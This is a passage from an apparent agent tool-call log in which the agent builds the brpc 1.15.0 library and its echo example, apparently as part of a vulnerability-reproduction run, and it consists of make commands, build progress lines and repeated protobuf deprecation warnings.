CMakeFiles/PROTO_LIB.dir/brpc/trackme.pb.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/lazy_instance.cc.o\n[ 22%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/location.cc.o\n[ 22%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/streaming_rpc_meta.pb.cc.o\n[ 23%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/aligned_memory.cc.o\n[ 23%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/ref_counted.cc.o\n[ 23%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/proto_base.pb.cc.o\n[ 23%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/ref_counted_memory.cc.o\n[ 23%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/singleton.cc.o\n[ 23%] Built target PROTO_LIB\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/memory/weak_ptr.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/posix/file_descriptor_shuffle.cc.o\n[ 24%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/posix/global_descriptors.cc.o\n[ 25%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/process_util.cc.o\n[ 25%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/rand_util.cc.o\n[ 26%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/collector.cpp.o\n[ 26%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/rand_util_posix.cc.o\n[ 26%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/fast_rand.cpp.o\n[ 27%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/safe_strerror_posix.cc.o\n[ 27%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/sha1_portable.cc.o\n[ 27%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/default_variables.cpp.o\n[ 27%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/latin1_string_conversions.cc.o\n[ 27%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/nullable_string16.cc.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/safe_sprintf.cc.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string16.cc.o\n[ 28%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/detail/percentile.cpp.o\n[ 28%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_number_conversions.cc.o\n[ 28%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/detail/sampler.cpp.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_split.cc.o\n[ 29%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_piece.cc.o\n[ 30%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/gflag.cpp.o\n[ 30%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/latency_recorder.cpp.o\n[ 30%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_util.cc.o\n[ 30%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/string_util_constants.cc.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/stringprintf.cc.o\n[ 31%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/mvariable.cpp.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_offset_string_conversions.cc.o\n[ 31%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/bvar/variable.cpp.o\n[ 31%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_string_conversion_utils.cc.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/strings/utf_string_conversions.cc.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/synchronization/cancellation_flag.cc.o\n[ 32%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/synchronization/condition_variable_po\n... (truncated 18875 chars)",
        "stderr": "/home/user/pruva/work/brpc-1.15.0/src/bthread/task_group.cpp: In member function ‘void bthread::AtomicInteger128::store(Value)’:\n/home/user/pruva/work/brpc-1.15.0/src/bthread/task_group.cpp:108:6: note: the ABI for passing parameters with 64-byte alignment has changed in GCC 4.6\n  108 | void AtomicInteger128::store(Value value) {\n      |      ^~~~~~~~~~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.cpp:19:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/adaptive_max_concurrency.h:25,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/concurrency_limiter.h:24,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/details/method_status.h:25,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/bad_method_service.cpp:26:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/bad_method_service.cpp:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/common.cpp:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/connections_service.cpp:27:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/connections_service.cpp:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/nshead_service.h:23,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/builtin/connections_service.cpp:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/nshead_message.h: In member function ‘virtual int brpc::NsheadMessage::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/nshead_message.h:54:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   54 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n  \n... (truncated 129470 chars)",
        "error": "Command timed out after 300.0 seconds",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 86,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:14.912928Z",
      "duration": 37.54396438999993,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.15.0/build && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "[ 10%] Built target PROTO_LIB\n[ 43%] Built target BUTIL_LIB\n[ 43%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/ssl_options.cpp.o\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/span.cpp.o\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/stream.cpp.o\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/trackme.cpp.o\n[ 45%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/ts.cpp.o\n[ 45%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/uri.cpp.o\n[ 94%] Built target SOURCES_LIB\n[ 94%] Linking CXX static library ../output/lib/libbrpc.a\n[ 94%] Built target brpc-static\n[ 94%] Building CXX object tools/parallel_http/CMakeFiles/parallel_http.dir/parallel_http.cpp.o\n[ 94%] Building CXX object src/CMakeFiles/protoc-gen-mcpack.dir/mcpack2pb/generator.cpp.o\n[ 95%] Linking CXX executable ../../output/bin/parallel_http\n[ 95%] Linking CXX executable ../output/bin/protoc-gen-mcpack\n[ 95%] Built target parallel_http\n[ 96%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/info_thread.cpp.o\n[ 96%] Built target protoc-gen-mcpack\n[ 96%] Building CXX object tools/rpc_replay/CMakeFiles/rpc_replay.dir/info_thread.cpp.o\n[ 96%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/json_loader.cpp.o\n[ 97%] Building CXX object tools/rpc_replay/CMakeFiles/rpc_replay.dir/rpc_replay.cpp.o\n[ 97%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/pb_util.cpp.o\n[ 97%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/rpc_press.cpp.o\n[ 97%] Linking CXX executable ../../output/bin/rpc_replay\n[ 98%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/rpc_press_impl.cpp.o\n[ 98%] Built target rpc_replay\n[ 98%] Running cpp protocol buffer compiler on view.proto\n[ 98%] Building CXX object tools/rpc_view/CMakeFiles/rpc_view.dir/rpc_view.cpp.o\n[ 99%] Building CXX object tools/rpc_view/CMakeFiles/rpc_view.dir/view.pb.cc.o\n[ 99%] Linking CXX executable ../../output/bin/rpc_view\n[ 99%] Linking CXX executable ../../output/bin/rpc_press\n[ 99%] Built target rpc_view\n[ 99%] Building CXX object tools/trackme_server/CMakeFiles/trackme_server.dir/trackme_server.cpp.o\n[ 99%] Built target rpc_press\n[100%] Linking CXX executable ../../output/bin/trackme_server\n[100%] Built target trackme_server\n",
        "stderr": "In file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/rpc_replay/rpc_replay.cpp:27:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/adaptive_protocol_type.h:25,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/channel.h:31,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/rpc_replay/rpc_replay.cpp:26:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/tools/rpc_replay/rpc_replay.cpp:30:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/nshead_message.h: In member function ‘virtual int brpc::NsheadMessage::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/nshead_message.h:54:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   54 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/rpc_press/rpc_press.cpp:21:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/generated_enum_util.h:38,\n                 from /usr/include/google/protobuf/generated_enum_reflection.h:47,\n                 from /usr/include/google/protobuf/generated_message_reflection.h:46,\n                 from /usr/include/google/protobuf/message.h:124,\n                 from /usr/include/google/protobuf/dynamic_message.h:49,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/rpc_press/rpc_press.cpp:19:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/rpc_view/rpc_view.cpp:21:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.15.0/tools/trackme_server/trackme_server.cpp:24:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.15.0/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.15.0/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.15.0/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.15.0/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 87,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:24.725882Z",
      "duration": 1.5032633089999763,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.15.0 && ./config_brpc.sh --headers=/usr/include --libs=/usr/lib/x86_64-linux-gnu && ln -s /home/user/pruva/work/brpc-1.15.0/build/output /home/user/pruva/work/brpc-1.15.0/output",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 88,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:54:36.217779Z",
      "duration": 6.15432947499994,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.15.0/example/echo_c++ && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "> Generating echo.pb.cc\n/usr/bin/protoc --cpp_out=. --proto_path=.  echo.proto\n> Compiling client.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer client.cpp -o client.o\n> Compiling server.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer server.cpp -o server.o\n> Compiling echo.pb.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer echo.pb.cc -o echo.pb.o\n> Linking echo_client\ng++ -L/usr/lib/x86_64-linux-gnu -L../../output/lib -Xlinker \"-(\" echo.pb.o client.o -Wl,-Bstatic -lgflags -lprotobuf -lbrpc -Wl,-Bdynamic -Xlinker \"-)\" -lpthread -lssl -lcrypto -ldl -lz -lrt -lleveldb -o echo_client\n> Linking echo_server\ng++ -L/usr/lib/x86_64-linux-gnu -L../../output/lib -Xlinker \"-(\" echo.pb.o server.o -Wl,-Bstatic -lgflags -lprotobuf -lbrpc -Wl,-Bdynamic -Xlinker \"-)\" -lpthread -lssl -lcrypto -ldl -lz -lrt -lleveldb -o echo_server\nrm echo.pb.cc\n",
        "stderr": "In file included from ../../output/include/brpc/baidu_master_service.h:27,\n                 from ../../output/include/brpc/server.h:46,\n                 from server.cpp:22:\n../../output/include/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n../../output/include/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from ../../output/include/brpc/options.pb.h:26,\n                 from ../../output/include/brpc/controller.h:33,\n                 from ../../output/include/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from ../../output/include/brpc/baidu_master_service.h:28:\n../../output/include/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n../../output/include/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: 